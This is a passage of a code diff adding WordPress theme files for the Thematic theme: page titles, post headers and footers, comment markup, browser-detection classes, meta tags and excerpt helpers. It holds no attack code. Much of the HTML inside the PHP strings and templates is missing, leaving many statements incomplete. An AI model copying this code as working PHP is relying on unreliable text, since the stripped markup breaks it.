    '; + $content .= __('Category Archives:', 'thematic'); + $content .= ' '; + $content .= single_cat_title('', FALSE); + $content .= '

    ' . "\n"; + $content .= '
    '; + if ( !(''== category_description()) ) : $content .= apply_filters('archive_meta', category_description()); endif; + $content .= '
    '; + } elseif (is_search()) { + $content .= '

    '; + $content .= __('Search Results for:', 'thematic'); + $content .= ' '; + $content .= wp_specialchars(stripslashes($_GET['s']), true); + $content .= '

    '; + } elseif (is_tag()) { + $content .= '

    '; + $content .= __('Tag Archives:', 'thematic'); + $content .= ' '; + $content .= __(thematic_tag_query()); + $content .= '

    '; + } elseif (is_day()) { + $content .= '

    '; + $content .= sprintf(__('Daily Archives: %s', 'thematic'), get_the_time(get_option('date_format'))); + $content .= '

    '; + } elseif (is_month()) { + $content .= '

    '; + $content .= sprintf(__('Monthly Archives: %s', 'thematic'), get_the_time('F Y')); + $content .= '

    '; + } elseif (is_year()) { + $content .= '

    '; + $content .= sprintf(__('Yearly Archives: %s', 'thematic'), get_the_time('Y')); + $content .= '

    '; + } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { + $content .= '

    '; + $content .= __('Blog Archives', 'thematic'); + $content .= '

    '; + } + $content .= "\n"; + echo apply_filters('thematic_page_title', $content); +} + +// Action to create the above navigation +function thematic_nav_above() { + if (is_single()) { ?> + + + + + + + + + +
    + +
    + + +
    + +
    + + + +
    + +
    + + +
    + +
    + + + +
    + +
    + + +
    + +
    + + + +
    + +
    + + + ' .__('Pages:', 'thematic') . '&after=
    ') ?> +
    + +
    + + +
    + +
    + + + ' .__('Pages:', 'thematic') . '&after=
    ') ?> +
    + +
    + + +
    + +
    + + +
    + +
    + + + +
    + +
    + + +
    + +
    + + post_type == 'page' || is_404()) { + $postheader = thematic_postheader_posttitle(); + } else { + $postheader = thematic_postheader_posttitle() . thematic_postheader_postmeta(); + } + + echo apply_filters( 'thematic_postheader', $postheader ); // Filter to override default post header +} // end thematic_postheader + +// Create the post edit link +function thematic_postheader_posteditlink() { + + global $id; + + $posteditlink = ''; + $posteditlink .= __('Edit', 'thematic') . ''; + return apply_filters('thematic_postheader_posteditlink',$posteditlink); + +} // end thematic_postheader_posteditlink + +// Create post title +function thematic_postheader_posttitle() { + + if (is_single() || is_page()) { + $posttitle = '

    ' . get_the_title() . "

    \n"; + } elseif (is_404()) { + $posttitle = '

    ' . __('Not Found', 'thematic') . "

    \n"; + } else { + $posttitle = '

    '; + $posttitle .= get_the_title(); + $posttitle .= "

    \n"; + } + return apply_filters('thematic_postheader_posttitle',$posttitle); + +} // end thematic_postheader_posttitle + +// Create post meta +function thematic_postheader_postmeta() { + + $postmeta = '\n"; + + return apply_filters('thematic_postheader_postmeta',$postmeta); + +} // end thematic_postheader_postmeta + +// Create author link for post meta +function thematic_postmeta_authorlink() { + + global $authordata; + + $authorlink = '' . __('By ', 'thematic') . ''; + $authorlink .= ''. ''; + $authorlink .= get_the_author(); + $authorlink .= ''; + + return apply_filters('thematic_post_meta_authorlink', $authorlink); + +} // end thematic_postmeta_authorlink() + +// Create entry date for post meta +function thematic_postmeta_entrydate() { + + $entrydate = ''; + $entrydate .= ''; + + return apply_filters('thematic_post_meta_entrydate', $entrydate); + +} // end thematic_postmeta_entrydate() + +// Create edit link for post meta +function thematic_postmeta_editlink() { + + // Display edit link + if (current_user_can('edit_posts')) { + $editlink = ' | ' . '' . thematic_postheader_posteditlink() . ''; + return apply_filters('thematic_post_meta_editlink', $editlink); + } + +} + +//creates the content +function thematic_content() { + + if (is_home() || is_front_page()) { + $content = 'full'; + } elseif (is_single()) { + $content = 'full'; + } elseif (is_tag()) { + $content = 'excerpt'; + } elseif (is_search()) { + $content = 'excerpt'; + } elseif (is_category()) { + $content = 'excerpt'; + } elseif (is_author()) { + $content = 'excerpt'; + } elseif (is_archive()) { + $content = 'excerpt'; + } + + $content = apply_filters('thematic_content', $content); + + if ( strtolower($content) == 'full' ) { + $post = get_the_content(more_text()); + $post = apply_filters('the_content', $post); + $post = str_replace(']]>', ']]>', $post); + } elseif ( strtolower($content) == 'excerpt') { + $post = get_the_excerpt(); + } elseif ( strtolower($content) == 'none') { + } else { + $post = get_the_content(more_text()); + $post = apply_filters('the_content', $post); + $post = str_replace(']]>', ']]>', $post); + } + echo apply_filters('thematic_post', $post); +} // end thematic_content + +// Functions that hook into thematic_archives() + + // Open .archives-page + function thematic_archivesopen() { ?> +
      + +
    • +

      +
        + +
      +
    • + +
    • +

      +
        + +
      +
    • + +
    + + + +
    +

    +
    + +
    +
    + + +
    +
    + »', 'thematic').''; + return apply_filters('more_text', $content); +} // end more_text + + +// creates the $more_link_text for the_content +function list_bookmarks_args() { + $content = 'title_before=

    &title_after=

    '; + return apply_filters('list_bookmarks_args', $content); +} // end more_text + + +// Information in Post Footer +function thematic_postfooter() { + global $id, $post; + + if ($post->post_type == 'page' && current_user_can('edit_posts')) { /* For logged-in "page" search results */ + $postfooter = '
    ' . thematic_postfooter_posteditlink(); + $postfooter .= "
    \n"; + } elseif ($post->post_type == 'page') { /* For logged-out "page" search results */ + $postfooter = ''; + } else { + if (is_single()) { + $postfooter = '
    ' . thematic_postfooter_postcategory() . thematic_postfooter_posttags() . thematic_postfooter_postconnect(); + } else { + $postfooter = '
    ' . thematic_postfooter_postcategory() . thematic_postfooter_posttags() . thematic_postfooter_postcomments(); + } + $postfooter .= "
    \n"; + } + + // Put it on the screen + echo apply_filters( 'thematic_postfooter', $postfooter ); // Filter to override default post footer +} // end thematic_postfooter + +// Create the post edit link +function thematic_postfooter_posteditlink() { + + global $id; + + $posteditlink = ''; + $posteditlink .= __('Edit', 'thematic') . ''; + return apply_filters('thematic_postfooter_posteditlink',$posteditlink); + +} // end thematic_postfooter_posteditlink + +// Create post category +function thematic_postfooter_postcategory() { + + $postcategory = ''; + if (is_single()) { + $postcategory .= __('This entry was posted in ', 'thematic') . get_the_category_list(', '); + $postcategory .= ''; + } elseif ( is_category() && $cats_meow = thematic_cats_meow(', ') ) { /* Returns categories other than the one queried */ + $postcategory .= __('Also posted in ', 'thematic') . $cats_meow; + $postcategory .= ' |'; + } else { + $postcategory .= __('Posted in ', 'thematic') . get_the_category_list(', '); + $postcategory .= ' |'; + } + return apply_filters('thematic_postfooter_postcategory',$postcategory); + +} // end thematic_postfooter_postcategory + +// Create post tags +function thematic_postfooter_posttags() { + + if (is_single()) { + $tagtext = __(' and tagged', 'thematic'); + $posttags = get_the_tag_list(" $tagtext ",', ',''); + } elseif ( is_tag() && $tag_ur_it = thematic_tag_ur_it(', ') ) { /* Returns tags other than the one queried */ + $posttags = '' . __(' Also tagged ', 'thematic') . $tag_ur_it . ' |'; + } else { + $tagtext = __('Tagged', 'thematic'); + $posttags = get_the_tag_list(" $tagtext ",', ',' |'); + } + return apply_filters('thematic_postfooter_posttags',$posttags); + +} // end thematic_postfooter_posttags + +// Create comments link and edit link +function thematic_postfooter_postcomments() { + if (comments_open()) { + $postcommentnumber = get_comments_number(); + if ($postcommentnumber > '1') { + $postcomments = ' '; + $postcomments .= get_comments_number() . __(' Comments', 'thematic') . ''; + } elseif ($postcommentnumber == '1') { + $postcomments = ' '; + $postcomments .= get_comments_number() . __(' Comment', 'thematic') . ''; + } elseif ($postcommentnumber == '0') { + $postcomments = ' '; + $postcomments .= __('Leave a comment', 'thematic') . ''; + } + } else { + $postcomments = ' ' . __('Comments closed', 'thematic') .''; + } + // Display edit link + if (current_user_can('edit_posts')) { + $postcomments .= ' | ' . thematic_postfooter_posteditlink(); + } + return apply_filters('thematic_postfooter_postcomments',$postcomments); + +} // end thematic_postfooter_postcomments + +// Create permalink, comments link, and RSS on single posts +function thematic_postfooter_postconnect() { + + $postconnect = __('. Bookmark the ', 'thematic') . ''; + $postconnect .= __('permalink', 'thematic') . '.'; + if ((comments_open()) && (pings_open())) { /* Comments are open */ + $postconnect .= ' ' . __('Post a comment', 'thematic') . ''; + $postconnect .= __(' or leave a trackback: ', 'thematic'); + $postconnect .= '' . __('Trackback URL', 'thematic') . '.'; + } elseif (!(comments_open()) && (pings_open())) { /* Only trackbacks are open */ + $postconnect .= __(' Comments are closed, but you can leave a trackback: ', 'thematic'); + $postconnect .= '' . __('Trackback URL', 'thematic') . '.'; + } elseif ((comments_open()) && !(pings_open())) { /* Only comments open */ + $postconnect .= __(' Trackbacks are closed, but you can ', 'thematic'); + $postconnect .= '' . __('post a comment', 'thematic') . '.'; + } elseif (!(comments_open()) && !(pings_open())) { /* Comments and trackbacks closed */ + $postconnect .= __(' Both comments and trackbacks are currently closed.', 'thematic'); + } + // Display edit link on single posts + if (current_user_can('edit_posts')) { + $postconnect .= ' ' . thematic_postfooter_posteditlink(); + } + return apply_filters('thematic_postfooter_postconnect',$postconnect); + +} // end thematic_postfooter_postconnect + +// Action to create the below navigation +function thematic_nav_below() { + if (is_single()) { ?> + + + + + + + + '%link', + 'link' => '« %title', + 'in_same_cat' => FALSE, + 'excluded_categories' => ''); + $args = apply_filters('thematic_previous_post_link_args', $args ); + previous_post_link($args['format'], $args['link'], $args['in_same_cat'], $args['excluded_categories']); +} // end thematic_previous_post_link + + +// creates the next_post_link +function thematic_next_post_link() { + $args = array ('format' => '%link', + 'link' => '%title »', + 'in_same_cat' => FALSE, + 'excluded_categories' => ''); + $args = apply_filters('thematic_next_post_link_args', $args ); + next_post_link($args['format'], $args['link'], $args['in_same_cat'], $args['excluded_categories']); +} // end thematic_next_post_link + + +// Produces an avatar image with the hCard-compliant photo class for author info +function thematic_author_info_avatar() { + global $wp_query; $curauth = $wp_query->get_queried_object(); + $email = $curauth->user_email; + $avatar = str_replace( "class='avatar", "class='photo avatar", get_avatar("$email") ); + echo $avatar; +} // end thematic_author_info_avatar + + +// For category lists on category archives: Returns other categories except the current one (redundant) +function thematic_cats_meow($glue) { + $current_cat = single_cat_title( '', false ); + $separator = "\n"; + $cats = explode( $separator, get_the_category_list($separator) ); + foreach ( $cats as $i => $str ) { + if ( strpos( $str, ">$current_cat<" ) > 0) { + unset($cats[$i]); + break; + } + } + if ( empty($cats) ) + return false; + + return trim(join( $glue, $cats )); +} // end thematic_cats_meow + + +// For tag lists on tag archives: Returns other tags except the current one (redundant) +function thematic_tag_ur_it($glue) { + $current_tag = single_tag_title( '', '', false ); + $separator = "\n"; + $tags = explode( $separator, get_the_tag_list( "", "$separator", "" ) ); + foreach ( $tags as $i => $str ) { + if ( strpos( $str, ">$current_tag<" ) > 0 ) { + unset($tags[$i]); + break; + } + } + if ( empty($tags) ) + return false; + + return trim(join( $glue, $tags )); +} // end thematic_tag_ur_it + + + +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/discussion.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/discussion.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,48 @@ + +
  • +
    +
    | Permalink', 'thematic'), + get_comment_date(), + get_comment_time(), + '#comment-' . get_comment_ID() ); + edit_comment_link(__('Edit', 'thematic'), ' | ', ''); ?>
    + comment_approved == '0') _e("\t\t\t\t\tYour comment is awaiting moderation.\n", 'thematic') ?> +
    + +
    + __('Reply','thematic'), + 'login_text' => __('Log in to reply.','thematic'), + 'depth' => $depth, + 'before' => '' + ))); + endif; + ?> + +
  • +
    | ', ''); ?>
    + comment_approved == '0') _e('\t\t\t\t\tYour trackback is awaiting moderation.\n', 'thematic') ?> +
    + +
    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/dynamic-classes.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/dynamic-classes.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,399 @@ +post->ID; + the_post(); + + // Adds post slug class, prefixed by 'slug-' + $c[] = 'slug-' . $wp_query->post->post_name; + + // Adds 'single' class and class with the post ID + $c[] = 'single postid-' . $postID; + + // Adds classes for the month, day, and hour when the post was published + if ( isset( $wp_query->post->post_date ) ) + thematic_date_classes( mysql2date( 'U', $wp_query->post->post_date ), $c, 's-' ); + + // Adds category classes for each category on single posts + if ( $cats = get_the_category() ) + foreach ( $cats as $cat ) + $c[] = 's-category-' . $cat->slug; + + // Adds tag classes for each tags on single posts + if ( $tags = get_the_tags() ) + foreach ( $tags as $tag ) + $c[] = 's-tag-' . $tag->slug; + + // Adds MIME-specific classes for attachments + if ( is_attachment() ) { + $mime_type = get_post_mime_type(); + $mime_prefix = array( 'application/', 'image/', 'text/', 'audio/', 'video/', 'music/' ); + $c[] = 'attachmentid-' . $postID . ' attachment-' . str_replace( $mime_prefix, "", "$mime_type" ); + } + + // Adds author class for the post author + $c[] = 's-author-' . sanitize_title_with_dashes(strtolower(get_the_author_meta('user_nicename', $post->post_author))); + rewind_posts(); + + // For posts with excerpts + if (has_excerpt()) + $c[] = 's-has-excerpt'; + + // For posts with comments open or closed + if (comments_open()) { + $c[] = 's-comments-open'; + } else { + $c[] = 's-comments-closed'; + } + + // For posts with pings open or closed + if (pings_open()) { + $c[] = 's-pings-open'; + } else { + $c[] = 's-pings-closed'; + } + + // For password-protected posts + if ( $post->post_password ) + $c[] = 's-protected'; + + // For sticky posts + if (is_sticky()) + $c[] = 's-sticky'; + + } + + // Author name classes for BODY on author archives + elseif ( is_author() && apply_filters('thematic_show_bc_authorarchives', TRUE)) { + $author = $wp_query->get_queried_object(); + $c[] = 'author'; + $c[] = 'author-' . $author->user_nicename; + } + + // Category name classes for BODY on category archvies + elseif ( is_category() && apply_filters('thematic_show_bc_categoryarchives', TRUE)) { + $cat = $wp_query->get_queried_object(); + $c[] = 'category'; + $c[] = 'category-' . $cat->slug; + } + + // Tag name classes for BODY on tag archives + elseif ( is_tag() && apply_filters('thematic_show_bc_tagarchives', TRUE)) { + $tags = $wp_query->get_queried_object(); + $c[] = 'tag'; + $c[] = 'tag-' . $tags->slug; + } + + // Page author for BODY on 'pages' + elseif ( is_page() && apply_filters('thematic_show_bc_pages', TRUE)) { + $pageID = $wp_query->post->ID; + $page_children = wp_list_pages("child_of=$pageID&echo=0"); + the_post(); + + // Adds post slug class, prefixed by 'slug-' + $c[] = 'slug-' . $wp_query->post->post_name; + + $c[] = 'page pageid-' . $pageID; + + $c[] = 'page-author-' . sanitize_title_with_dashes(strtolower(get_the_author_meta('user_nicename', $post->post_author))); + + // Checks to see if the page has children and/or is a child page; props to Adam + if ( $page_children ) + $c[] = 'page-parent'; + if ( $wp_query->post->post_parent ) + $c[] = 'page-child parent-pageid-' . $wp_query->post->post_parent; + + // For pages with excerpts + if (has_excerpt()) + $c[] = 'page-has-excerpt'; + + // For pages with comments open or closed + if (comments_open()) { + $c[] = 'page-comments-open'; + } else { + $c[] = 'page-comments-closed'; + } + + // For pages with pings open or closed + if (pings_open()) { + $c[] = 'page-pings-open'; + } else { + $c[] = 'page-pings-closed'; + } + + // For password-protected pages + if ( $post->post_password ) + $c[] = 'page-protected'; + + // Checks to see if the page is using a template + if ( is_page_template() & !is_page_template('default') ) + $c[] = 'page-template page-template-' . str_replace( '.php', '-php', get_post_meta( $pageID, '_wp_page_template', true ) ); + rewind_posts(); + } + + // Search classes for results or no results + elseif ( is_search() && apply_filters('thematic_show_bc_search', TRUE)) { + the_post(); + if ( $wp_query->found_posts > 0 ) { + $c[] = 'search-results'; + } else { + $c[] = 'search-no-results'; + } + rewind_posts(); + } + + if (apply_filters('thematic_show_bc_loggedin', TRUE)) { + // For when a visitor is logged in while browsing + if ( $current_user->ID ) + $c[] = 'loggedin'; + } + + // Paged classes; for 'page X' classes of index, single, etc. + if ( (( ( $page = $wp_query->get('paged') ) || ( $page = $wp_query->get('page') ) ) && $page > 1) && apply_filters('thematic_show_bc_pagex', TRUE)) { + // Thanks to Prentiss Riddle, twitter.com/pzriddle, for the security fix below. + $page = intval($page); // Ensures that an integer (not some dangerous script) is passed for the variable + $c[] = 'paged-' . $page; + if ( is_single() ) { + $c[] = 'single-paged-' . $page; + } elseif ( is_page() ) { + $c[] = 'page-paged-' . $page; + } elseif ( is_category() ) { + $c[] = 'category-paged-' . $page; + } elseif ( is_tag() ) { + $c[] = 'tag-paged-' . $page; + } elseif ( is_date() ) { + $c[] = 'date-paged-' . $page; + } elseif ( is_author() ) { + $c[] = 'author-paged-' . $page; + } elseif ( is_search() ) { + $c[] = 'search-paged-' . $page; + } + } + + if (apply_filters('thematic_show_bc_browser', TRUE)) { + // A little Browser detection shall we? + $browser = $_SERVER[ 'HTTP_USER_AGENT' ]; + + // Mac, PC ...or Linux + if ( preg_match( "/Mac/", $browser ) ){ + $c[] = 'mac'; + + } elseif ( preg_match( "/Windows/", $browser ) ){ + $c[] = 'windows'; + + } elseif ( preg_match( "/Linux/", $browser ) ) { + $c[] = 'linux'; + + } else { + $c[] = 'unknown-os'; + } + + // Checks browsers in this order: Chrome, Safari, Opera, MSIE, FF + if ( preg_match( "/Chrome/", $browser ) ) { + $c[] = 'chrome'; + + preg_match( "/Chrome\/(\d.\d)/si", $browser, $matches); + $ch_version = 'ch' . str_replace( '.', '-', $matches[1] ); + $c[] = $ch_version; + + } elseif ( preg_match( "/Safari/", $browser ) ) { + $c[] = 'safari'; + + preg_match( "/Version\/(\d.\d)/si", $browser, $matches); + $sf_version = 'sf' . str_replace( '.', '-', $matches[1] ); + $c[] = $sf_version; + + } elseif ( preg_match( "/Opera/", $browser ) ) { + $c[] = 'opera'; + + preg_match( "/Opera\/(\d.\d)/si", $browser, $matches); + $op_version = 'op' . str_replace( '.', '-', $matches[1] ); + $c[] = $op_version; + + } elseif ( preg_match( "/MSIE/", $browser ) ) { + $c[] = 'msie'; + + if( preg_match( "/MSIE 6.0/", $browser ) ) { + $c[] = 'ie6'; + } elseif ( preg_match( "/MSIE 7.0/", $browser ) ){ + $c[] = 'ie7'; + } elseif ( preg_match( "/MSIE 8.0/", $browser ) ){ + $c[] = 'ie8'; + } + + } elseif ( preg_match( "/Firefox/", $browser ) && preg_match( "/Gecko/", $browser ) ) { + $c[] = 'firefox'; + + preg_match( "/Firefox\/(\d)/si", $browser, $matches); + $ff_version = 'ff' . str_replace( '.', '-', $matches[1] ); + $c[] = $ff_version; + + } else { + $c[] = 'unknown-browser'; + } + } + + + // Separates classes with a single space, collates classes for BODY + $c = join( ' ', apply_filters( 'body_class', $c ) ); // Available filter: body_class + + // And tada! + return $print ? print($c) : $c; +} + +// Generates semantic classes for each post DIV element +function thematic_post_class( $print = true ) { + global $post, $thematic_post_alt; + + // hentry for hAtom compliace, gets 'alt' for every other post DIV, describes the post type and p[n] + $c = array( 'hentry', "p$thematic_post_alt", $post->post_type, $post->post_status ); + + // Author for the post queried + $c[] = 'author-' . sanitize_title_with_dashes(strtolower(get_the_author('login'))); + + // Category for the post queried + foreach ( (array) get_the_category() as $cat ) + $c[] = 'category-' . $cat->slug; + + // Tags for the post queried; if not tagged, use .untagged + if ( get_the_tags() == null ) { + $c[] = 'untagged'; + } else { + foreach ( (array) get_the_tags() as $tag ) + $c[] = 'tag-' . $tag->slug; + } + + // For posts with excerpts + if (has_excerpt()) + $c[] = 'has-excerpt'; + + // For posts with comments open or closed + if (comments_open()) { + $c[] = 'comments-open'; + } else { + $c[] = 'comments-closed'; + } + + // For posts with pings open or closed + if (pings_open()) { + $c[] = 'pings-open'; + } else { + $c[] = 'pings-closed'; + } + + // For password-protected posts + if ( $post->post_password ) + $c[] = 'protected'; + + // For sticky posts + if (is_sticky()) + $c[] = 'sticky'; + + // Applies the time- and date-based classes (below) to post DIV + thematic_date_classes( mysql2date( 'U', $post->post_date ), $c ); + + // If it's the other to the every, then add 'alt' class + if ( ++$thematic_post_alt % 2 ) + $c[] = 'alt'; + + // Adds post slug class, prefixed by 'slug-' + $c[] = 'slug-' . $post->post_name; + + // Separates classes with a single space, collates classes for post DIV + $c = join( ' ', apply_filters( 'post_class', $c ) ); // Available filter: post_class + + // And tada! + return $print ? print($c) : $c; +} + +// Define the num val for 'alt' classes (in post DIV and comment LI) +$thematic_post_alt = 1; + +// Generates semantic classes for each comment LI element +function thematic_comment_class( $print = true ) { + global $comment, $post, $thematic_comment_alt, $comment_depth, $comment_thread_alt; + + // Collects the comment type (comment, trackback), + $c = array( $comment->comment_type ); + + // Counts trackbacks (t[n]) or comments (c[n]) + if ( $comment->comment_type == 'comment' ) { + $c[] = "c$thematic_comment_alt"; + } else { + $c[] = "t$thematic_comment_alt"; + } + + // If the comment author has an id (registered), then print the log in name + if ( $comment->user_id > 0 ) { + $user = get_userdata($comment->user_id); + // For all registered users, 'byuser'; to specificy the registered user, 'commentauthor+[log in name]' + $c[] = 'byuser comment-author-' . sanitize_title_with_dashes(strtolower( $user->user_login )); + // For comment authors who are the author of the post + if ( $comment->user_id === $post->post_author ) + $c[] = 'bypostauthor'; + } + + // If it's the other to the every, then add 'alt' class; collects time- and date-based classes + thematic_date_classes( mysql2date( 'U', $comment->comment_date ), $c, 'c-' ); + if ( ++$thematic_comment_alt % 2 ) + $c[] = 'alt'; + + // Comment depth + $c[] = "depth-$comment_depth"; + + // Separates classes with a single space, collates classes for comment LI + $c = join( ' ', apply_filters( 'comment_class', $c ) ); // Available filter: comment_class + + // Tada again! + return $print ? print($c) : $c; +} + +// Generates time- and date-based classes for BODY, post DIVs, and comment LIs; relative to GMT (UTC) +function thematic_date_classes( $t, &$c, $p = '' ) { + $t = $t + ( get_option('gmt_offset') * 3600 ); + $c[] = $p . 'y' . gmdate( 'Y', $t ); // Year + $c[] = $p . 'm' . gmdate( 'm', $t ); // Month + $c[] = $p . 'd' . gmdate( 'd', $t ); // Day + $c[] = $p . 'h' . gmdate( 'H', $t ); // Hour +} + +// Remember: Thematic, like The Sandbox, is for play. +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/footer-extensions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/footer-extensions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,73 @@ + + +
    + + + +
    + + ' . "\n"; + $content .= ' $site_name, + 'separator' => $separator, + 'content' => $content + ); + } + else { + $elements = array( + 'content' => $content + ); + } + } else { + $elements = array( + 'site_name' => $site_name + ); + } + + // Filters should return an array + $elements = apply_filters('thematic_doctitle', $elements); + + // But if they don't, it won't try to implode + if(is_array($elements)) { + $doctitle = implode(' ', $elements); + } + else { + $doctitle = $elements; + } + + $doctitle = "\t" . "" . $doctitle . "" . "\n\n"; + + echo $doctitle; +} // end thematic_doctitle + + +// Creates the content-type section +function thematic_create_contenttype() { + $content = "\t"; + $content .= ""; + $content .= "\n\n"; + echo apply_filters('thematic_create_contenttype', $content); +} // end thematic_create_contenttype + +// The master switch for SEO functions +function thematic_seo() { + $content = TRUE; + return apply_filters('thematic_seo', $content); +} + +// Creates the canonical URL +function thematic_canonical_url() { + if (thematic_seo()) { + if ( is_singular() ) { + $canonical_url = "\t"; + $canonical_url .= ''; + $canonical_url .= "\n\n"; + echo apply_filters('thematic_canonical_url', $canonical_url); + } + } +} // end thematic_canonical_url + + +// switch use of thematic_the_excerpt() - default: ON +function thematic_use_excerpt() { + $display = TRUE; + $display = apply_filters('thematic_use_excerpt', $display); + return $display; +} // end thematic_use_excerpt + + +// switch use of thematic_the_excerpt() - default: OFF +function thematic_use_autoexcerpt() { + $display = FALSE; + $display = apply_filters('thematic_use_autoexcerpt', $display); + return $display; +} // end thematic_use_autoexcerpt + + +// Creates the meta-tag description +function thematic_create_description() { + if (thematic_seo()) { + if (is_single() || is_page() ) { + if ( have_posts() ) { + while ( have_posts() ) { + the_post(); + if (thematic_the_excerpt() == "") { + if (thematic_use_autoexcerpt()) { + $content ="\t"; + $content .= ""; + $content .= "\n\n"; + } + } else { + if (thematic_use_excerpt()) { + $content ="\t"; + $content .= ""; + $content .= "\n\n"; + } + } + } + } + } elseif ( is_home() || is_front_page() ) { + $content ="\t"; + $content .= ""; + $content .= "\n\n"; + } + echo apply_filters ('thematic_create_description', $content); + } +} // end thematic_create_description + + +// meta-tag description is switchable using a filter +function thematic_show_description() { + $display = TRUE; + $display = apply_filters('thematic_show_description', $display); + if ($display) { + thematic_create_description(); + } +} // end thematic_show_description + + +// create meta-tag robots +function thematic_create_robots() { + global $paged; + if (thematic_seo()) { + $content = "\t"; + if((is_home() && ($paged < 2 )) || is_front_page() || is_single() || is_page() || is_attachment()) { + $content .= ""; + } elseif (is_search()) { + $content .= ""; + } else { + $content .= ""; + } + $content .= "\n\n"; + if (get_option('blog_public')) { + echo apply_filters('thematic_create_robots', $content); + } + } +} // end thematic_create_robots + + +// meta-tag robots is switchable using a filter +function thematic_show_robots() { + $display = TRUE; + $display = apply_filters('thematic_show_robots', $display); + if ($display) { + thematic_create_robots(); + } +} // end thematic_show_robots + + +// Located in header.php +// creates link to style.css +function thematic_create_stylesheet() { + $content = "\t"; + $content .= ""; + $content .= "\n\n"; + echo apply_filters('thematic_create_stylesheet', $content); +} + + +// rss usage is switchable using a filter +function thematic_show_rss() { + $display = TRUE; + $display = apply_filters('thematic_show_rss', $display); + if ($display) { + $content = "\t"; + $content .= ""; + $content .= "\n"; + echo apply_filters('thematic_rss', $content); + } +} // end thematic_show_rss + + +// comments rss usage is switchable using a filter +function thematic_show_commentsrss() { + $display = TRUE; + $display = apply_filters('thematic_show_commentsrss', $display); + if ($display) { + $content = "\t"; + $content .= ""; + $content .= "\n\n"; + echo apply_filters('thematic_commentsrss', $content); + } +} // end thematic_show_commentsrss + + +// pingback usage is switchable using a filter +function thematic_show_pingback() { + $display = TRUE; + $display = apply_filters('thematic_show_pingback', $display); + if ($display) { + $content = "\t"; + $content .= ""; + $content .= "\n\n"; + echo apply_filters('thematic_pingback_url',$content); + } +} // end thematic_show_pingback + + +// comment reply usage is switchable using a filter +function thematic_show_commentreply() { + $display = TRUE; + $display = apply_filters('thematic_show_commentreply', $display); + if ($display) + if ( is_singular() ) + wp_enqueue_script( 'comment-reply' ); // support for comment threading +} // end thematic_show_commentreply + + +// Load scripts for the jquery Superfish plugin http://users.tpg.com.au/j_birch/plugins/superfish/#examples +function thematic_head_scripts() { + $scriptdir_start = "\t"; + $scriptdir_start .= ''; + + $scripts = "\n"; + $scripts .= $scriptdir_start . 'hoverIntent.js' . $scriptdir_end . "\n"; + $scripts .= $scriptdir_start . 'superfish.js' . $scriptdir_end . "\n"; + $scripts .= $scriptdir_start . 'supersubs.js' . $scriptdir_end . "\n"; + $dropdown_options = $scriptdir_start . 'thematic-dropdowns.js' . $scriptdir_end . "\n"; + + $scripts = $scripts . apply_filters('thematic_dropdown_options', $dropdown_options); + + $scripts .= "\n"; + $scripts .= "\t"; + $scripts .= '' . "\n"; + + // Print filtered scripts + print apply_filters('thematic_head_scripts', $scripts); + +} +add_action('wp_head','thematic_head_scripts'); + + +// Add ID and CLASS attributes to the first
      occurence in wp_page_menu +function thematic_add_menuclass($ulclass) { + return preg_replace('/
        /', '
          ', $ulclass, 1); +} // end thematic_add_menuclass +add_filter('wp_page_menu','thematic_add_menuclass'); + + +// Just after the opening body tag, before anything else. +function thematic_before() { + do_action('thematic_before'); +} // end thematic_before + + +// Just before the header div +function thematic_aboveheader() { + do_action('thematic_aboveheader'); +} // end thematic_aboveheader + + +// Used to hook in the HTML and PHP that creates the content of div id="header"> +function thematic_header() { + do_action('thematic_header'); +} // end thematic_header + + +// Functions that hook into thematic_header() + + // Open #branding + // In the header div + function thematic_brandingopen() { ?> +
          + +
          + +

          + +
          + +
          + +
          + + +
          + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/thematic/library/extensions/helpers.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/thematic/library/extensions/helpers.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,81 @@ +', ']]>', $text); + $text = strip_tags($text); + $text = str_replace('"', '\'', $text); + $excerpt_length = apply_filters('excerpt_length', 55); + $words = explode(' ', $text, $excerpt_length + 1); + if (count($words) > $excerpt_length) { + array_pop($words); + array_push($words, '[...]'); + $text = implode(' ', $words); + } + } + return $text; +} + +function thematic_the_excerpt($deprecated = '') { + global $post; + $output = ''; + $output = strip_tags($post->post_excerpt); + $output = str_replace('"', '\'', $output); + if ( post_password_required($post) ) { + $output = __('There is no excerpt because this is a protected post.'); + return $output; + } + + return $output; + +} + +function thematic_excerpt_rss() { + global $post; + $output = ''; + $output = strip_tags($post->post_excerpt); + if ( post_password_required($post) ) { + $output = __('There is no excerpt because this is a protected post.'); + return $output; +} + + return apply_filters('thematic_excerpt_rss', $output); + +} + +add_filter('thematic_excerpt_rss', 'thematic_trim_excerpt'); + +// create nice multi_tag_title +// Credits: Martin Kopischke for providing this code + +function thematic_tag_query() { + $nice_tag_query = get_query_var('tag'); // tags in current query + $nice_tag_query = str_replace(' ', '+', $nice_tag_query); // get_query_var returns ' ' for AND, replace by + + $tag_slugs = preg_split('%[,+]%', $nice_tag_query, -1, PREG_SPLIT_NO_EMPTY); // create array of tag slugs + $tag_ops = preg_split('%[^,+]*%', $nice_tag_query, -1, PREG_SPLIT_NO_EMPTY); // create array of operators + + $tag_ops_counter = 0; + $nice_tag_query = ''; + + foreach ($tag_slugs as $tag_slug) { + $tag = get_term_by('slug', $tag_slug ,'post_tag'); + // prettify tag operator, if any + if ($tag_ops[$tag_ops_counter] == ',') { + $tag_ops[$tag_ops_counter] = ', '; + } elseif ($tag_ops[$tag_ops_counter] == '+') { + $tag_ops[$tag_ops_counter] = ' + '; + } + // concatenate display name and prettified operators + $nice_tag_query = 